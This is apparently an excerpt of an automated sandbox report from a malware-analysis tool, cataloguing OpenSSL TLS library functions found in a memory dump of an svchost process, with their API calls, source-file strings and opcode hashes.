ssl\quic\quic_srtm.c, xrefs: 00007FFBAB46308D, 00007FFBAB4631C2
AES-128-ECB, xrefs: 00007FFBAB4630AB

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: H_freeH_newH_set_thunksR_free$D_priv_bytes_exH_doallO_freeO_zallocR_fetchX_freeX_new
String ID: AES-128-ECB$ssl\quic\quic_srtm.c
API String ID: 2270308179-3908675888
Opcode ID: 9d569477bdebd29a7f8aacb2b6e42e9cf91cb9ed3bcd4f9bb676f4dfa6c3972a
Instruction ID: b0b26e6f92032bc462ad799f1343bf067a2a5d2131fcfa1262ef052d448a4d0c
Opcode Fuzzy Hash: 9d569477bdebd29a7f8aacb2b6e42e9cf91cb9ed3bcd4f9bb676f4dfa6c3972a
Instruction Fuzzy Hash: EA4121A1A1B69295FA62DB35E8612B82360BF44B84F44C036DD6D477B6EF3CE509C340

Function 00007FFBAB47C190 Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 293COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB47C217
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47C224
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47C23C
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47C525
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47C53D
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47C54F
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47C567
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB47C591
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47C59D
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47C5B5

Strings

gfffffff, xrefs: 00007FFBAB47C505
tls_collect_extensions, xrefs: 00007FFBAB47C229, 00007FFBAB47C52A, 00007FFBAB47C554, 00007FFBAB47C5A2
gfffffff, xrefs: 00007FFBAB47C3BA
ssl\statem\extensions.c, xrefs: 00007FFBAB47C1FD, 00007FFBAB47C235, 00007FFBAB47C536, 00007FFBAB47C560, 00007FFBAB47C587, 00007FFBAB47C5AE
gfffffff, xrefs: 00007FFBAB47C289
gfffffff, xrefs: 00007FFBAB47C3E2

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_freeO_zalloc
String ID: gfffffff$gfffffff$gfffffff$gfffffff$ssl\statem\extensions.c$tls_collect_extensions
API String ID: 2822291608-844333917
Opcode ID: c4cc637ee1ed934fec5b0306e0264cc1675cea91cb76cb95a093ed73c75c80bf
Instruction ID: 6cf87e6560d9ab3585e611e6297c6f3133db6dbf5a97300f4b8f81eec6656162
Opcode Fuzzy Hash: c4cc637ee1ed934fec5b0306e0264cc1675cea91cb76cb95a093ed73c75c80bf
Instruction Fuzzy Hash: 0BC1D6B2A0E79281EB628B3AE4407B96791FF85B84F54C131DE6D436A6CF3DE485C701

Function 00007FFBAB431000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

CRYPTO_malloc.LIBCRYPTO-3-X64(00000004,00007FFBAB4314E5,?,?,?,?,?,?,?,00007FFBAB421B0F), ref: 00007FFBAB43105E
memcpy.VCRUNTIME140(00000004,00007FFBAB4314E5,?,?,?,?,?,?,?,00007FFBAB421B0F), ref: 00007FFBAB43107F

Part of subcall function 00007FFBAB431000: CRYPTO_free.LIBCRYPTO-3-X64(00000004,00007FFBAB4314E5,?,?,?,?,?,?,?,00007FFBAB421B0F), ref: 00007FFBAB4310AA

ERR_new.LIBCRYPTO-3-X64(00000004,00007FFBAB4314E5,?,?,?,?,?,?,?,00007FFBAB421B0F), ref: 00007FFBAB4310C7
ERR_set_debug.LIBCRYPTO-3-X64(00000004,00007FFBAB4314E5,?,?,?,?,?,?,?,00007FFBAB421B0F), ref: 00007FFBAB4310DF
ERR_set_error.LIBCRYPTO-3-X64(00000004,00007FFBAB4314E5,?,?,?,?,?,?,?,00007FFBAB421B0F), ref: 00007FFBAB4310F0
ERR_new.LIBCRYPTO-3-X64(00000004,00007FFBAB4314E5,?,?,?,?,?,?,?,00007FFBAB421B0F), ref: 00007FFBAB431120
ERR_set_debug.LIBCRYPTO-3-X64(00000004,00007FFBAB4314E5,?,?,?,?,?,?,?,00007FFBAB421B0F), ref: 00007FFBAB431138
CRYPTO_realloc.LIBCRYPTO-3-X64(00000004,00007FFBAB4314E5,?,?,?,?,?,?,?,00007FFBAB421B0F), ref: 00007FFBAB431158
memcpy.VCRUNTIME140(00000004,00007FFBAB4314E5,?,?,?,?,?,?,?,00007FFBAB421B0F), ref: 00007FFBAB431187
ERR_new.LIBCRYPTO-3-X64(00000004,00007FFBAB4314E5,?,?,?,?,?,?,?,00007FFBAB421B0F), ref: 00007FFBAB4311AE
ERR_new.LIBCRYPTO-3-X64(00000004,00007FFBAB4314E5,?,?,?,?,?,?,?,00007FFBAB421B0F), ref: 00007FFBAB4311CE
ERR_set_debug.LIBCRYPTO-3-X64(00000004,00007FFBAB4314E5,?,?,?,?,?,?,?,00007FFBAB421B0F), ref: 00007FFBAB4311E6
ERR_set_error.LIBCRYPTO-3-X64(00000004,00007FFBAB4314E5,?,?,?,?,?,?,?,00007FFBAB421B0F), ref: 00007FFBAB4311F7

Strings

ssl\ssl_rsa.c, xrefs: 00007FFBAB431053, 00007FFBAB43109E, 00007FFBAB4310D8, 00007FFBAB431131, 00007FFBAB431148, 00007FFBAB4311DF
SSL_CTX_use_serverinfo_ex, xrefs: 00007FFBAB4310CC, 00007FFBAB431125, 00007FFBAB4311B3, 00007FFBAB4311D3

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_new$R_set_debug$R_set_errormemcpy$O_freeO_mallocO_realloc
String ID: SSL_CTX_use_serverinfo_ex$ssl\ssl_rsa.c
API String ID: 2781819888-2805076526
Opcode ID: dbbcc59e0fb2653ce460d433fd213e1ad87961e3dce96ed97a3f724f90b88252
Instruction ID: 73978bbead44ac2775816b5ed1d43b632af1315fed6bcdc428f2f2cf5e26a974
Opcode Fuzzy Hash: dbbcc59e0fb2653ce460d433fd213e1ad87961e3dce96ed97a3f724f90b88252
Instruction Fuzzy Hash: 715196B1B0AA8281EA52DB72D8521FD6364EF84BC0F58C435ED2D477F6DE2CE5459300

Function 00007FFBAB41FBB0 Relevance: 26.6, APIs: 11, Strings: 4, Instructions: 370stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAB41FD4A
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAB41FD73
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAB420021
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAB420059
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB420080
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB42008C
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4200A4
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB4200B5
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4200F7
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB42010F
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB420120

Strings

SECLEVEL=, xrefs: 00007FFBAB420052
ssl_cipher_process_rulestr, xrefs: 00007FFBAB420096, 00007FFBAB4200FC
ssl\ssl_ciph.c, xrefs: 00007FFBAB42009D, 00007FFBAB420108
STRENGTH, xrefs: 00007FFBAB42001A

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: strncmp$R_new$R_set_debugR_set_error
String ID: SECLEVEL=$STRENGTH$ssl\ssl_ciph.c$ssl_cipher_process_rulestr
API String ID: 2651782980-2883399597
Opcode ID: bb585ae05d445b0eaa17ed907fdf327e7f08effd77892dc8b179ba44535fb324
Instruction ID: 458399887dc0493eb2769b2214c27a07b7dc79fb0f136751e5b173687b8d84a1
Opcode Fuzzy Hash: bb585ae05d445b0eaa17ed907fdf327e7f08effd77892dc8b179ba44535fb324
Instruction Fuzzy Hash: D1E185B2E0E24686E766CA35F45133A7791FB45B44F148036DE6D437A5DF3CE8469B00

Function 00007FFBAB43A8B0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

EVP_PKEY_new.LIBCRYPTO-3-X64(?,?,00000000,?,00007FFBAB4245A8), ref: 00007FFBAB43A8D5
CRYPTO_malloc.LIBCRYPTO-3-X64(?,?,00000000,?,00007FFBAB4245A8), ref: 00007FFBAB43A91B
CRYPTO_malloc.LIBCRYPTO-3-X64(?,?,00000000,?,00007FFBAB4245A8), ref: 00007FFBAB43A94B
ERR_set_mark.LIBCRYPTO-3-X64(?,?,00000000,?,00007FFBAB4245A8), ref: 00007FFBAB43A97C
EVP_PKEY_set_type.LIBCRYPTO-3-X64(?,?,00000000,?,00007FFBAB4245A8), ref: 00007FFBAB43A9EA
EVP_PKEY_CTX_new_from_pkey.LIBCRYPTO-3-X64(?,?,00000000,?,00007FFBAB4245A8), ref: 00007FFBAB43AA04
EVP_PKEY_CTX_free.LIBCRYPTO-3-X64(?,?,00000000,?,00007FFBAB4245A8), ref: 00007FFBAB43AA13
OBJ_txt2nid.LIBCRYPTO-3-X64(?,?,00000000,?,00007FFBAB4245A8), ref: 00007FFBAB43AA9A
OBJ_txt2nid.LIBCRYPTO-3-X64(?,?,00000000,?,00007FFBAB4245A8), ref: 00007FFBAB43AAB4
OBJ_txt2nid.LIBCRYPTO-3-X64(?,?,00000000,?,00007FFBAB4245A8), ref: 00007FFBAB43AAC7
ERR_pop_to_mark.LIBCRYPTO-3-X64(?,?,00000000,?,00007FFBAB4245A8), ref: 00007FFBAB43AAFD
CRYPTO_free.LIBCRYPTO-3-X64(?,?,00000000,?,00007FFBAB4245A8), ref: 00007FFBAB43AB69
CRYPTO_free.LIBCRYPTO-3-X64(?,?,00000000,?,00007FFBAB4245A8), ref: 00007FFBAB43AB7E
EVP_PKEY_free.LIBCRYPTO-3-X64(?,?,00000000,?,00007FFBAB4245A8), ref: 00007FFBAB43AB86

Strings

ssl\t1_lib.c, xrefs: 00007FFBAB43A8F6, 00007FFBAB43A944, 00007FFBAB43AB5C, 00007FFBAB43AB74

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: J_txt2nid$O_freeO_malloc$R_pop_to_markR_set_markX_freeX_new_from_pkeyY_freeY_newY_set_type
String ID: ssl\t1_lib.c
API String ID: 2333482861-1168734446
Opcode ID: a0203abc5a4591652255303bf45ce65235f6d511b84468b6f80e0d53690d7b30
Instruction ID: e391436339b51d543cda96c4999b7e1d9ff73ba5ca77c44f7847c666d0c20104
Opcode Fuzzy Hash: a0203abc5a4591652255303bf45ce65235f6d511b84468b6f80e0d53690d7b30
Instruction Fuzzy Hash: 5D719CA2A4ABD281E622DF25E5443AE73A4FB48B84F448135DEAC07765EF3CE194C700

Function 00007FFBAB47FC90 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47FCB2
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47FCCA

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB47FD5F
CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB47FD73
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47FD8B
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47FDA3

Strings

ssl\statem\extensions_clnt.c, xrefs: 00007FFBAB47FCC3, 00007FFBAB47FD52, 00007FFBAB47FD6A, 00007FFBAB47FD9C, 00007FFBAB47FE42, 00007FFBAB47FEC4
tls_parse_stoc_alpn, xrefs: 00007FFBAB47FCB7, 00007FFBAB47FD95, 00007FFBAB47FEBD

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_freeO_mallocR_vset_error
String ID: ssl\statem\extensions_clnt.c$tls_parse_stoc_alpn
API String ID: 3020875438-2890585513
Opcode ID: 7b209afc501ae09b01466415b08320be48d7339cdf014afa69a2f58078974435
Instruction ID: ce3d6591c650b30a813468fafc46b198048465ff867bcb1ca50cde50b1b135c9
Opcode Fuzzy Hash: 7b209afc501ae09b01466415b08320be48d7339cdf014afa69a2f58078974435
Instruction Fuzzy Hash: A3518FA1A0AAC281EB629B31D4417BC2391EB84B84F448535DF2D4B7A6DF3DE5A1C341

Function 00007FFBAB49CC60 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

BN_bin2bn.LIBCRYPTO-3-X64(?,00007FFBAB49DE03), ref: 00007FFBAB49CCBB
ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB49DE03), ref: 00007FFBAB49CCCC
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB49DE03), ref: 00007FFBAB49CCE4

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

BN_ucmp.LIBCRYPTO-3-X64(?,00007FFBAB49DE03), ref: 00007FFBAB49CD11
BN_is_zero.LIBCRYPTO-3-X64(?,00007FFBAB49DE03), ref: 00007FFBAB49CD25
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB49DE03), ref: 00007FFBAB49CD4D
CRYPTO_strdup.LIBCRYPTO-3-X64(?,00007FFBAB49DE03), ref: 00007FFBAB49CD66
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49CD8A
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49CDA2
ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB49DE03), ref: 00007FFBAB49CE17
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB49DE03), ref: 00007FFBAB49CE2F

Strings

tls_process_cke_srp, xrefs: 00007FFBAB49CCD1, 00007FFBAB49CD8F, 00007FFBAB49CDE1, 00007FFBAB49CE1C
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB49CCDD, 00007FFBAB49CD39, 00007FFBAB49CD59, 00007FFBAB49CD9B, 00007FFBAB49CDED, 00007FFBAB49CE28

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$N_bin2bnN_is_zeroN_ucmpO_freeO_strdupR_vset_error
String ID: ssl\statem\statem_srvr.c$tls_process_cke_srp
API String ID: 3252685116-3145630846
Opcode ID: 5bf10ccabd700325957d56873c561422542e91a143714dd2baa69b102e430cbe
Instruction ID: 2746af8e897d5c7c28d9fce9731a7b6a9adc62ad3da065cf50eab46050479e7b
Opcode Fuzzy Hash: 5bf10ccabd700325957d56873c561422542e91a143714dd2baa69b102e430cbe
Instruction Fuzzy Hash: 614182A1B4A64281FB62AB71D8E27BD1351EF84B84F44C531DE2D477B2DE2DE5958300

Function 00007FFBAB435040 Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 264COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFBAB435198
CRYPTO_THREAD_read_lock.LIBCRYPTO-3-X64 ref: 00007FFBAB4351AC
OPENSSL_LH_retrieve.LIBCRYPTO-3-X64 ref: 00007FFBAB4351C9
CRYPTO_THREAD_unlock.LIBCRYPTO-3-X64 ref: 00007FFBAB4351EB
CRYPTO_THREAD_unlock.LIBCRYPTO-3-X64 ref: 00007FFBAB435203
memcmp.VCRUNTIME140 ref: 00007FFBAB4352EA
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB435305
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB43531D
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB435397
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4353AF
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB435444
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB43545C

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

Strings

ssl_get_prev_session, xrefs: 00007FFBAB43530A, 00007FFBAB43539C, 00007FFBAB435449
ssl\ssl_sess.c, xrefs: 00007FFBAB435316, 00007FFBAB4353A8, 00007FFBAB435455

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$D_unlock$D_read_lockH_retrieveR_vset_errormemcmpmemcpy
String ID: ssl\ssl_sess.c$ssl_get_prev_session
API String ID: 2587384529-1744558562
Opcode ID: de1761987cc89580968eccc00f2af673244997937e6e504fdddd4961b237f54c
Instruction ID: de44568caab7373b3a6249f490beddc8976dd27eca8cc03a876ff4bb046a6579
Opcode Fuzzy Hash: de1761987cc89580968eccc00f2af673244997937e6e504fdddd4961b237f54c
Instruction Fuzzy Hash: 2BC185B3A0A68282EB66DB31D4997BE2360FB44B84F188131DE6E477A5DF7CE445C740

Function 00007FFBAB47B040 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 169COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB47B110
CRYPTO_strdup.LIBCRYPTO-3-X64 ref: 00007FFBAB47B129
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47B157
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47B16F
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB47B226
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47B24F
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47B25E
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47B2EF
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47B307

Strings

final_server_name, xrefs: 00007FFBAB47B15C, 00007FFBAB47B28B, 00007FFBAB47B2F9
p, xrefs: 00007FFBAB47B065
ssl\statem\extensions.c, xrefs: 00007FFBAB47B0FC, 00007FFBAB47B11C, 00007FFBAB47B168, 00007FFBAB47B219, 00007FFBAB47B297, 00007FFBAB47B300

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_new$O_freeR_set_debug$O_strdup
String ID: final_server_name$p$ssl\statem\extensions.c
API String ID: 3774429508-4160180063
Opcode ID: 7a8e350ca873b5178b897236a786d86059de5b1c77bc8007a1f8b38c6f7f3925
Instruction ID: 06a63f0192cad6c40f0901eace25f51b67a1229a0008d7ab8e69347bc0018413
Opcode Fuzzy Hash: 7a8e350ca873b5178b897236a786d86059de5b1c77bc8007a1f8b38c6f7f3925
Instruction Fuzzy Hash: 09716FB2A0B68285FB639B35D4A43BD2390EB81B84F148036DE6D476B5CE3DE5C5C301

Function 00007FFBAB480B20 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 122COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB480B58
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB480B70
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB480C22
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB480C3A
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB480C46
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB480C5E
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB480C95
CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB480CAC
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB480CC4
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB480CDC
memcpy.VCRUNTIME140 ref: 00007FFBAB480D0D

Strings

ssl\statem\extensions_clnt.c, xrefs: 00007FFBAB480B69, 00007FFBAB480C33, 00007FFBAB480C57, 00007FFBAB480C88, 00007FFBAB480C9F, 00007FFBAB480CD5
ssl_next_proto_validate, xrefs: 00007FFBAB480C4B
tls_parse_stoc_npn, xrefs: 00007FFBAB480B5D, 00007FFBAB480C27, 00007FFBAB480CC9

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_freeO_mallocmemcpy
String ID: ssl\statem\extensions_clnt.c$ssl_next_proto_validate$tls_parse_stoc_npn
API String ID: 1393888195-3563213302
Opcode ID: 0321e7d9c51b55cd8405629f0ca98423d0ea0a627311ea4e9d4e6617c1bfaf81
Instruction ID: 9f662d4790a50bfb2be704147b300a9ffacf781ef5e07375201a804be640143a
Opcode Fuzzy Hash: 0321e7d9c51b55cd8405629f0ca98423d0ea0a627311ea4e9d4e6617c1bfaf81
Instruction Fuzzy Hash: 4B51C0E1A1AB8241EB529BB1E8517B967A0EF84744F44C432EE6D437B6DF3CE585CB00

Function 00007FFBAB41E700 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB41E757

Part of subcall function 00007FFBAB41EDB0: CRYPTO_THREAD_run_once.LIBCRYPTO-3-X64(00007FFBAB41E773), ref: 00007FFBAB41EDCB

OPENSSL_sk_find.LIBCRYPTO-3-X64 ref: 00007FFBAB41E782
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41E79B
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB41E7A0
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB41E7B8
OPENSSL_sk_push.LIBCRYPTO-3-X64 ref: 00007FFBAB41E7D6
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41E801
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB41E806
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB41E81E
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB41E82A
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB41E842
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB41E853

Strings

ssl\ssl_ciph.c, xrefs: 00007FFBAB41E74B, 00007FFBAB41E791, 00007FFBAB41E7B1, 00007FFBAB41E7F7, 00007FFBAB41E817, 00007FFBAB41E83B
SSL_COMP_add_compression_method, xrefs: 00007FFBAB41E7A5, 00007FFBAB41E80B, 00007FFBAB41E82F

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
